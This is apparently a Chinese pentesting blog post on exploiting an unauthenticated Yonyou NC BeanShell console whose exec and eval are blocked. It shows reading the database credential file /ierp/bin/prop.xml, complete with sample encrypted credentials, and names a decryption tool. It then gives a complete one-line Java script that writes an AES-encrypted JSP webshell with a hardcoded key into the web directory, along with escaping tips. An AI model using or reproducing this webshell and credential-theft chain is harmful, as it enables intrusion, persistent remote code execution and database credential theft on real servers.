前言

前几天遇到一个用友ncBeanShell未授权的站,本想上去exec直接梭哈,结果他把exec和eval给ban掉了,于是有了这篇博客。

BeanShell

什么是beanshell:

  • BeanShell是一种完全符合Java语法规范的脚本语言,并且又拥有自己的一些语法和方法;
  • BeanShell是一种松散类型的脚本语言(这点和JS类似);
  • BeanShell是用Java写成的,一个小型的、免费的、可以下载的、嵌入式的Java源代码解释器,具有对象脚本语言特性,非常精简的解释器jar文件大小为175k。
  • BeanShell执行标准Java语句和表达式,另外包括一些脚本命令和语法。

基本函数

函数 作用
cat() 读取
dir() 查看目录
exec() 运行系统命令
load() 加载或序列化对象到文件中
save() 保存序列化对象到文件中

beanshell官方文档

读取数据库密码

nc的数据库密码位置在/ierp/bin/prop.xml

读出加密后的password

<databaseUrl>jdbc:oracle:thin:@192.168.1.1:1521/ORCL</databaseUrl>
<user>badmin5</user>
<password>jlehfdffcfmohiag</password>

用友nc解密工具 nc解密
解出密文

写文件

beanshell完全符合Java语法规范,那可以通过写一个java脚本来写入文件
先用dir命令来探明web文件夹的位置,然后构造java脚本

import java.io.*;String filePath = "./webapps/u8c_web/a.txt"; String conent ="<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}

注意beanshell输入框里是不能有回车的,shell里的引号需转义

返回无报错既上传成功


"孓然一身 , 了无牵挂"